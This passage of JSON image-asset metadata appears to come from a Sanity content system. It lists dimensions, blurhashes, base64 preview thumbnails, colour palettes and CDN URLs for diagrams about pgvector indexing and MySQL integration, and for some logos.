WFccd7+7AeDQtg/h4awnQ1PZtYvOsjEUXKZybjzBpPvrLscntPvcBm0XWVnsHHy4HZ3cGMNsHdldnJ0Z7Zx8WK2tHFjdi4OYvOfn8DnPz9R0KUolMfezYfT09mLNcDehdnJyZvZKCCHRTu8gc0wqZ/doXo9j0vDVn6bgnlcDNZOnsJWTp58Vk6evNbI2M2L1y7Yl98h3E/Axstb0MbZS9Da2QuuzsrZi9fCLYjP1CuO3ywgQ9AqME3Q2jNMEADU6MAk+r43xgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#284b35","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#062444","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#284b35","foreground":"#fff","population":0.1,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4ccdc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8b9c9","foreground":"#000","population":0.08,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a26772","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4c84b4","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"pgvector-index-ivfflat-clusters-lists.png","path":"images/sczeoy4w/production/f7efa266b91ada28056a31ff838c6bfa3bef9fd8-3200x1356.png","sha1hash":"f7efa266b91ada28056a31ff838c6bfa3bef9fd8","size":141587,"uploadId":"4z8pYR1G36EM8njfyJZ1qjNC9oGpzNuk","url":"https://cdn.sanity.io/images/sczeoy4w/production/f7efa266b91ada28056a31ff838c6bfa3bef9fd8-3200x1356.png"} {"_createdAt":"2024-03-08T07:43:20Z","_id":"image-0812ca86a9d9d0b22bad1ba961334584cbf2dc33-1680x1240-png","_rev":"QYGdEGGMhf311CDlzqrhjr","_type":"sanity.imageAsset","_updatedAt":"2024-03-08T07:43:20Z","assetId":"0812ca86a9d9d0b22bad1ba961334584cbf2dc33","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V58W2C%210-qS_v}WoJnspwJ0#Ef}XjE-C0zxH^4J6K5","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3548387096774193,"height":1240,"width":1680},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAAAsTAAALEwEAmpwYAAADiElEQVQ4jX2TXWxTZRjH/6cfrO2g2xkyAYMJS5yJjkx30PZsbc9ZtyFsScdka9fvrlvXD06/23PWLiYtI2KihoBcGBINTmV2gcV5ISZmXph4xQUXXhuMZBisyubWTm6oOU0LUg1v8s/zfj2/55837wOKZvZTNNNM0Qzqqo/b3d24/Up3NSZdMxg5nYTHH4Fz5jSsHj9GzQ7YpgIYm3Q9yhEBz1A0o/w/4ObZs9i6eBFb58/j71wO63MZgLXBNh3CpNsH04QDVvcsTlqeALJtFM0qKJpFj5bB8b5+/DqgAw8vSoWXsL2oQ6nwIiq5c7iZSMIZihPeWU5mnwpIRy0u2LxBjNunHhupA2n2jer6s+xb2Pn4CkqL72JnVY/SVRMefN+JO3xW8nBOkJ3zc3KrN6iedPtUplM2oup03N4IZBSHO7tgdUzj508/x4PCCspLeWx/ZEBpqQNbl0eI3+cF5V+CQN4MR1tSHl+bzeFVD5udEpPHD7Nz5t9Ahnytr18xMRWQcaG4/Nsgt+vPCCdf9whEeUVHlJcHleXl4eb774SaNvk59d1U6sBqkDuU8Pj2DVk9skPTEUz7I4+BPVqGpA1DSmcwrgpzSXItliA3+HTrvVhWtnOjV1K+PrKnvGJSl66NSstzC9JiNrvvVjzx/CVfkNSOOyXAAYQD0QYgM6R0hRKqSDjVthZPkhuC0Pobn5FXKkD52ph058tTslKxA+uOI7h/Jr/rbibTfCsclYn5lW++xgdO71OAsRpQEOSb+SREaHHRjEp0AUWel/ySSksqZ/LAqB39wTg+vHwFViH35BtqdEaFIxCVxyJpxVoirdjIZBTFTFayzb+N0oUgKgeX8dN8VnqPF3b/EY+rtrxe4iGfxo9cGDeuFtC18P5/v41xeIxY+qSA60ked3I5/JAWYLS4Ae4SDKEU8V6cb/4qwbd/F0u0rgY5aSWfwxduLzT6AZFRE1MFkhTNNHV0voyB4ybEzHbMW+w4eWykWvDEhBOziayEi6RbUpH0/nQ4tTfCJeWzb1qgfO4werSGR7A6sOrwaC9LaPWDoHVG6HRGvN7bD41+EC909WDM4pI4fFyTwx/d4/BH1ZNTAfmRVzXQMkM42lt3xxIUzRDi5FmKZltq7ddUiw1ixIKKPvaY0jBwQqXRD4q933hH3NstAg9SNNtec0o+XQwp/goxNpyJ3baXopn2fwA6+1RLHzGRuwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c4448","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5a221f","foreground":"#fff","population":0.14,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#888d92","foreground":"#fff","population":0.15,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#888d92","foreground":"#fff","population":0.15,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fccc77","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c5c6c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b5762d","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"pgvector-index-cluster-nodes.png","path":"images/sczeoy4w/production/0812ca86a9d9d0b22bad1ba961334584cbf2dc33-1680x1240.png","sha1hash":"0812ca86a9d9d0b22bad1ba961334584cbf2dc33","size":19336,"uploadId":"mhBnsogihKNMqjCswtvR3mYqDtcmDKNM","url":"https://cdn.sanity.io/images/sczeoy4w/production/0812ca86a9d9d0b22bad1ba961334584cbf2dc33-1680x1240.png"} {"_createdAt":"2024-03-08T07:46:58Z","_id":"image-2875feb32fab477bd436c33e4ce2374dc838c134-3200x894-png","_rev":"QYGdEGGMhf311CDlzqru6J","_type":"sanity.imageAsset","_updatedAt":"2024-03-08T07:46:58Z","assetId":"2875feb32fab477bd436c33e4ce2374dc838c134","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D4AmMJ}[]O%MtSH=xGa#s:a_","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.5794183445190155,"height":894,"width":3200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB3klEQVQYlRXK3W7SYACA4UILH22/8jMP3Mz6x7IYkMEWQIW1Dsr4KRRKgU4GpbBZOtgQJlEMJpAYzfDAAy/Bc4888ga8A2/IcPYm74PE0xknw3JummZ2aIbZ3adpap9hHYdPQyjH8Y8YhqFphtljOf4Jx/OPOT4I+eABybLsHr19NLNL08y2txYi6bMClkok0Hjo0C3GjohyKg06atORFLLocfwF+Swao54nTmApexaoSDm/mBJA5CQJwpEYDIXDMB6NUMloNHAcOYLB4AGGFOU6eBjZrn8bG/378db9693c830yd0q1FqZemLA3HFHr1R3cLOzA5s72TTt910upDEq1FmVe9+GnaQcujKbPrmtEvlB1IEpNx1c3I/Dn8y32ezkFP+cfPD+m750F7TWmGxZlTe796y8L79fVfeBhNqEmlyYmFmugftHzWeMb33p5TX2bmdTS7HmKRdWBSCUV1/UuGBgmZl0NwfBqBLTGJZopqS6lZRDtgU1YkxnxZvzWb/RtSq7p4FWh6pHrbULv9nFrYBDjXpdsN3RwKskokpZkr3BeIcR81ZORNTwra4R4ruBCrkyIeYUU8wqer+pkVe8Fyo3OjiRrXiFXoYRchdy6gqxBWWn6pJIKTyWZ+A+mqm973p5xQQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#422a30","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#270609","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#270609","foreground":"#fff","population":0.05,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cdabb3","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ed8c94","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#845c64","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dd2133","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"pgvector-index-ivfflat-clusters-lists-accuracy.png","path":"images/sczeoy4w/production/2875feb32fab477bd436c33e4ce2374dc838c134-3200x894.png","sha1hash":"2875feb32fab477bd436c33e4ce2374dc838c134","size":128162,"uploadId":"3XvfEQnve9ifXeKOgsHQBTibZzVV5Ou6","url":"https://cdn.sanity.io/images/sczeoy4w/production/2875feb32fab477bd436c33e4ce2374dc838c134-3200x894.png"} {"_createdAt":"2024-03-08T07:48:52Z","_id":"image-fddd1bcb3cc911aa4d15836001553eaf4215ff6a-3200x1004-png","_rev":"TOsxXx20RF0WqO4qub8XXC","_type":"sanity.imageAsset","_updatedAt":"2024-03-08T07:48:52Z","assetId":"fddd1bcb3cc911aa4d15836001553eaf4215ff6a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D9D9^._4%M00-;009E9E~qD%","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.187250996015936,"height":1004,"width":3200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB8UlEQVQYlQHmARn+AH+FiwBwd38BZW51AlxlbQJjbHMCZGxzA1RbYwVOVl0LT1ZdEU5VXRVMVFsVS1NaFEtTWhFOVV0JVFxlA1hhagFaY2wBZW51AnF4fwGDiY8AAFFaYgNKU1sGT1hgB1ZfZwdSW2MITldfCVFaYghSWmIJTlZeDE5WXg1QWWALVl5mCltjagpaYmoHV2BoBFhhagRWX2cFTldfCElRWQdQWGEDAGBobwhrcnkNZW10DFdfZwlianEMaG92EF1lbAxZYWkKZ252D2ZudQ5bZGsHa3N7CXF4gA5sdHwIXGVtAlJcZAJYYGgHYWlwD2ZudRBgaHAIAL/DxzPIzNBIxMjMPbW6vifCxso5xsrOSrzAxTa5vsIuxcnNR8TIzEK4vMEcgYiOCXJ6gQt1fYQGV2BoAIyRlwGzt7wXwcXJPsXJzUnAxMgyAM3Q1GvV2NyT0tXZfcbKzlLQ1Nd11djclc3Q1G7KztFh1NfbjtPX2oXKztE5rrK3B0lTXQGUmp8BqK2xAKWqrgPHys4u0tbZfNXY3JPN0dRrAMvP01PR1dh4z9LWZMbKzj7O0dVd0dXYesvP01bJzdFK0NTYdNDT12zJzdEsur7CBJ2jqADc3+EAoKWpAKersALHy88j0NPXY9HV2HjLz9NTYg/dp0LlcesAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c44","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040c0c","foreground":"#fff","population":0.61,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040c0c","foreground":"#fff","population":0.61,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b7bcbc","foreground":"#000","population":0.22,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9bdddd","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c8484","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3fbfbf","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"pgvector-index-partition.png","path":"images/sczeoy4w/production/fddd1bcb3cc911aa4d15836001553eaf4215ff6a-3200x1004.png","sha1hash":"fddd1bcb3cc911aa4d15836001553eaf4215ff6a","size":123147,"uploadId":"WuCmNg1G3L6RBUkL245hknTxAx8RcllE","url":"https://cdn.sanity.io/images/sczeoy4w/production/fddd1bcb3cc911aa4d15836001553eaf4215ff6a-3200x1004.png"} {"_createdAt":"2024-05-29T14:24:04Z","_id":"image-e1e3483be5a20da5cbd36b35b5c2db4c339cb3d2-2802x2800-png","_rev":"aiEK3gvvqNId1oqOQZ31eM","_type":"sanity.imageAsset","_updatedAt":"2024-05-29T14:24:04Z","assetId":"e1e3483be5a20da5cbd36b35b5c2db4c339cb3d2","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e6A9XJ+v2d-VInu*$wbXv}xXCm$J}RS%#l5sr?=YS5j]+@WUo3r=E+","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.0007142857142857,"height":2800,"width":2802},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAE6klEQVQ4jVWT2VOaZxSHmdYAH4soICh8yI6yK0tARMDghorGARRl52P7XKIxsUmd0UmbydKmSa/6l2ZyFTm/DsRm0otn3jnn4pnz/s4cwev02uebVObueXybTqK71Aju0YEvRzvOfVqxFWnRWKJ5XYVmNDWaHm+SWtYiqbhDEskxKVRnJFefkHSCB6Pp3o2ouS+Cm1Tm68tkls7je+hEclQOFCjnPaCM84hStjJFjDXy6hpk03CkH+/QuLxHUilPU/pn5Au+InfwhmYC1zD7r2jMzN8Jnse3+xfxPepG86iGDijvK2LLVcIjRwVRcx1+tgmbtg29sgvlKA+Z7BgS+TFUU+ewuF7A6L6CwX1JU65zyEwdCE4iO/3BZNXQPgr+Q9pylWjZXqGIuU5ePUfOKY58k3XyT1bJrm6QStEhRsETo+JJqu2RRNclCdsGM92iEUOdBM3gXr8SKFDeX8SWu0TfJqshaKhjTl9HwnCIsiOLc88a2s4MlqYL0GiaYCY6YCY7YPRtiKc5iExNjBhrEBR9uX7eV6T7b9KCuY6YsYJtawHV2R2cudfwwp3Er544bvwxXPhSSFhzUOo4MGwbEmMLjIWD2NbAiKUKwa6z0N9yHg0nWzDXKWaqYs+eQ9eVwTNPGrf+Jbx0L6JlS+J0dhHvQ2E8DS3DbTuExMgNZYy9CbGjgRFbBYJVe7G/bC/TYAEBQ4PWLQfoODMoGDexPpVFzZLGpSuOtiMBfjaOv6MB/JMM4TCwAaOjBKm9AWamAfFs/ZswbjrqR001GmwzzFapaN/FkWUTQWUObkUey1NbOLCkUbanwLsX8Xs4jA+xAG5jC8gGNzHpLEE8+4MwqC/3/foG2bUtRNkyNWe3kJ3Owq/MI6LZxbohg7wljdpMAqfeBfwyH8ZtOIi/4vO4iC/B4d0fyr4LnZpa367liFV14JqoU966i6p9AyX7BlrONJ54E3gRWMRtOIo30RD+WAzi09I8PiYDaMbSMHqK34U/D4RGZaPPKtukVvBQjXbJralg2/YYJfcWqt4M6nPr4IJraIdX0Y2k0YulwS8+wlF0Ff65HBTOKpgfhRo511eN9mhUPrwAko91odVwYPV1sIYaWFMNrLUK1lEB6yyDdZfAekrQusuQO2tgnI0h34Vycbsvk/IkHQjHjolR8hCpexBquxDqOhAa2hCZWxDZOIhnOIhmm0PE9yLJPcx/GQofdPoipkdCWQ9CRYeEyjZEEy0wOg4SQxMSUwNiSw0iWw0iR/V/CB21IQ8cVTywV/GTtQyBdPSkP6F7Smr2HKrpMxo3nWLc2IbOeASTJQ+jfR9aVwUKDwe5t4Vxfweq+S6U811MBHtDxvxtyD3cUC4wWK76sdRbSm9/QDr7JyWz7xBNXSHhz2PDtYz1wCbSq11Edq4R2r1BvPAbkgevh6RLb/Ho6A0NevPb16QNH5OAtT3rx1be0kb+EzYPPtLa/gekNq+RfFhE2reGlchjbGTPkNp/haV7yUr5Hdaq74esVt4NehTZu4UucgKBbIr/yrouyRq8gvXhFVkXnsMSfQJLsAVLoAZrqAFrjIcp/gTmxAUsiYvha1u+hC11OahpUOujpyTzcHcC4UTrs8LE3ykdx1A6eVJ5eFL6elDNdYdZDRif6wwZ5KUOfOtpQvwAUgd6NKgVvvadaKb25V/NCqx7uwU6kwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c2946","foreground":"#fff","population":9.84,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04245c","foreground":"#fff","population":10.4,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#04245c","foreground":"#fff","population":10.4,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#97a1c6","foreground":"#000","population":0.45,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dee7f3","foreground":"#000","population":2.72,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#616f96","foreground":"#fff","population":0.72,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#df5926","foreground":"#fff","population":6.3,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-data-revolution.png","path":"images/sczeoy4w/production/e1e3483be5a20da5cbd36b35b5c2db4c339cb3d2-2802x2800.png","sha1hash":"e1e3483be5a20da5cbd36b35b5c2db4c339cb3d2","size":844854,"uploadId":"5PMaktrc6zShl0Q1hrPoOlFnMZn079oE","url":"https://cdn.sanity.io/images/sczeoy4w/production/e1e3483be5a20da5cbd36b35b5c2db4c339cb3d2-2802x2800.png"} {"_createdAt":"2024-03-08T09:01:19Z","_id":"image-82a73be70526e8cb9711ce603644ca2eda7bd9c2-2332x1994-png","_rev":"TOsxXx20RF0WqO4qubO9sc","_type":"sanity.imageAsset","_updatedAt":"2024-03-08T09:01:19Z","assetId":"82a73be70526e8cb9711ce603644ca2eda7bd9c2","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e4Ss51aiM|t8%M~WNGM{aLW.tQNHOFOYR-?bj[WCNIoespt7s:njR%","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1695085255767301,"height":1994,"width":2332},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAIAAABSJhvpAAAACXBIWXMAAAsTAAALEwEAmpwYAAACDUlEQVQ4jUWT25bbIAxF/f8f2q7MGHMR6A5pBZlWyw+JjKSj7cNVKnzdz/d3AujuvtZ6r/k2XW7x+8R6L/XJtnz+T77fVxryalgAiVhV3X2qeCvWwW3Xr/fypZXw1aSTmc05I73WlVFeBZ4KrcVDRMY8ntRSwjHiqM/pkyrmX6mk0nsXEd8SLiTKpZXSWgMAOPM79FrqGCgiZ5Sw1Aqttt4HM5vFghcxA3SAPgbG2H1UzUX2CjvWWtOn7fAdO7euAdByrqXW3VXVpi/TabbfHzprLfXFeoD9xPuSkvG+R2uItKcFL8jYG6nYnJuMT6soX0U7mcb4I+cSgJGeVupA3KqmsOa73d8ZoB/xbs511N93ufOPQN3FoqOP2HlPNnMz6zBKqb135uBnZkxScn1S3vn4ClFsKCHmP56wQ5dIbzoznjlZHVAHye71T3Zq/MoCqDvcncxv1EIqGlvMteZcnTw16XEqWh5iF9deX2kvU1sD3kIfGHdpDToRHUAD5X5aeuLUGHjqL95fv5So3K6I3mMMiL+DiI5PWKTWlnM5xZ+dQbygIMeAWG5O3xZTHL7hR2Y6KlfsyHRkf3ZOqK9GLVDLybowPQlzVpFNMHo26l/tGUwfqsdhneSpPf+YNqCJQKnPnQ6CY9hBmEqGEbficI1i3zZmFmY9L8wMB9VNgSjuQFwM0d4/CI5z/hb/AQGz2/dwaYQcAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4f517f","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9f275d","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ed5b80","foreground":"#fff","population":0.13,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a8a4c8","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f074c4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a95978","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ed5b80","foreground":"#fff","population":0.13,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"mysql-integration.jpg","path":"images/sczeoy4w/production/82a73be70526e8cb9711ce603644ca2eda7bd9c2-2332x1994.png","sha1hash":"82a73be70526e8cb9711ce603644ca2eda7bd9c2","size":102383,"uploadId":"xblTQZ8UGqL8MLwaiK9HdGOJ2qxuYZPw","url":"https://cdn.sanity.io/images/sczeoy4w/production/82a73be70526e8cb9711ce603644ca2eda7bd9c2-2332x1994.png"} {"_createdAt":"2024-03-08T09:01:44Z","_id":"image-88997ddc1ad58ebc6232b8e75358b694f97f17b6-3340x1696-png","_rev":"zTx0EUw0vMrj4JXNbrPkzu","_type":"sanity.imageAsset","_updatedAt":"2024-03-08T09:01:44Z","assetId":"88997ddc1ad58ebc6232b8e75358b694f97f17b6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M4S$owIU8|s;4o~WRjxZRjRP$~e.Mxt6%1","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9693396226415094,"height":1696,"width":3340},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAABJElEQVQokU2RyXLEIAxE+f/fTOaS8YJtgTYkUgJ7kr5AlfRQq0nn99fP65XzgUjMIiI6NC/tn8ystcbMRNHHxGl/L8t7PU8gYmahOKS1FuX52DhV1d0Hb+NNa2YpZ8gZAOro1GeeiQgiIdJQ1O7h5qrWmpv3lHM9jlrK9BykWUyoFa9QBUDEp6YmYkSNOV5J23btOwz4HjvtIRJAKQVrZaJhJuQqRjzhnpY1b9sBgJ+0RpMhS6mMJNNRcO7uXcSRGnE4T8uS13XCM+YBu5NokHcKaua9d/eu6sxhPuB1yft2Tts8kg2H7qoaM+9lI+oJtxZ8BGaejgxHjp2JwyEN+PmVvx/+wKqObDwnFyAAilRYiZmYzawPjSXHoo/MHNGOS6FEZr8bzUjZmrLr3QAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c5961","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#721a12","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#aeafcf","foreground":"#000","population":0.11,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aeafcf","foreground":"#000","population":0.11,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcdee6","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b4948c","foreground":"#000","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e87c72","foreground":"#000","population":0.06,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"mysql-setting.jpg","path":"images/sczeoy4w/production/88997ddc1ad58ebc6232b8e75358b694f97f17b6-3340x1696.png","sha1hash":"88997ddc1ad58ebc6232b8e75358b694f97f17b6","size":101291,"uploadId":"bVOK5ljajtuX24BM2LCWXNxvtclvNsAp","url":"https://cdn.sanity.io/images/sczeoy4w/production/88997ddc1ad58ebc6232b8e75358b694f97f17b6-3340x1696.png"} {"_createdAt":"2024-03-04T16:27:38Z","_id":"image-897343d2d307379ed38efcdb1b39118d6f0bb9e2-774x372-svg","_rev":"3k3vwhvhnpMxr5ODyxtSYk","_type":"sanity.imageAsset","_updatedAt":"2024-03-04T16:27:38Z","assetId":"897343d2d307379ed38efcdb1b39118d6f0bb9e2","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M541oDs]xNstoPWRfRj^awfRI%s[j^a_WR","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.0806451612903225,"height":372,"width":774},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAACDUlEQVQokYWSTWsTYRDHnxgUKVawcZ/d/Det2vawu3ndeXxDMUoPUlBRUYtUtG7zSkOSapsmsxXx7eb3EPTYWz148eTFTyH4NWTSrVg9ePgzzDDz29l5/qpgdxRhdLqS3eiVnF47b7dAYBVioC7NvFfGjZXkxuVx/J8UYZQm8GKIwU7J6X0KdLM6n1lKW8dIVbKbKQKn/hoa5+ZgnkqUlsKMceNhiK3vJaf3LdCNnmetOOdzr6VhksBTBD5sMN50gsAZAh9NYIeSnpME1gSek+Ij48bbhOGbotN9G+h67FnRQt5unzBuPEvgMoGP094vuwQ+S2ArAR4RCIEvEvgagW9J8SWBVwh8ueT0q4Fu1H1rdTnQzVPGjQMCVwks4ByBzxH4XhIl9wl8hcC3CfxYJMC2QdwljGolp18PdKPvWdGNvN2yjRvLwCKBbxJ4OfnwuswQOCJwj8BPCLyUAO8LcGjc+GOI4eei0931df2DZ0UPA92cMm4sW1wl8B0Cr+5vkUAkXyPwXQJfJ/ACgUmAr4wb74bY+ll0Oj98XdvxrOipr2vauNtyfDn2NIHnCXxGHvEPSZ4lsJP0TQpQjrxeyW5+LdidL76utTwr8nxdm/CsSIUY7vnwt03ktfe8KSrrwUEfXph+lyKM/HL22UbBXuv6ujY7l3mgytnnKtBN8akSy+wDJSYW+kcm90L9AtCjvLk103ucAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#342c59","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d0456","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2c158e","foreground":"#fff","population":0.11,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#291385","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9e8bed","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#291385","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2c158e","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-labelf.svg","path":"images/sczeoy4w/production/897343d2d307379ed38efcdb1b39118d6f0bb9e2-774x372.svg","sha1hash":"897343d2d307379ed38efcdb1b39118d6f0bb9e2","size":4725,"uploadId":"18YhmVFQTpeOqAxegftR8Hka0bxGlWZf","url":"https://cdn.sanity.io/images/sczeoy4w/production/897343d2d307379ed38efcdb1b39118d6f0bb9e2-774x372.svg"} {"_createdAt":"2024-06-26T23:50:00Z","_id":"image-12065e7736be02f7d9e903934e682b797fba195a-1533x729-png","_rev":"FWfcFyz4v76XPZNTIGZACj","_type":"sanity.imageAsset","_updatedAt":"2024-06-26T23:50:00Z","assetId":"12065e7736be02f7d9e903934e682b797fba195a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M06[If002w9DQ-]@xU0L9F?H00otiFV??^","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.102880658436214,"height":729,"width":1533},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAACToAAAk6AGCYwUcAAACNklEQVQokWWSSU8aAQBG+Q+NS1QQwYGB6cAsMGwzIMhibDX10l5r0kXRasVapcgwiKBV0LgFY3/sa9D01MN3fXnJ91yvZj7iFjaYC20z5dtkzLPB+GyVGeE7/tc/EaJ1AkoDUbMRNQe/3MIt2kwHbNxim/loD8noE9D6eKQLXGOedbxiFUHexS1sMT67ydT8DsHIIbFkCyXhEIrZSDEH1ThB1jv45RM8IQef3EFOXBJfuEXJ3CBoA1zT/s/4wlsE5F3mQjtMz2/jEfcw0i3er15RKv4mHGsRjbUomadY6S4h7RRB6RJNXWKW7lhYHmKWh+i5e1yi8g0tdUDcrKMkDxGVHwiRA1JWmw9r15TLL0Al1qKS65LL9JCNHkpmBLuhuDKk/O6Jwtsn0uUhrmiihrl4TK7skCnYGNkmWsbGsByyxR6phS5yok00eUIqe4ZhnhPP9skt3VF480Bp9ZGltT8srjxhVh5xKckaVrFJvuJgFVukCw5G1iGSOEY2RrOfDSWjjW6doWbOief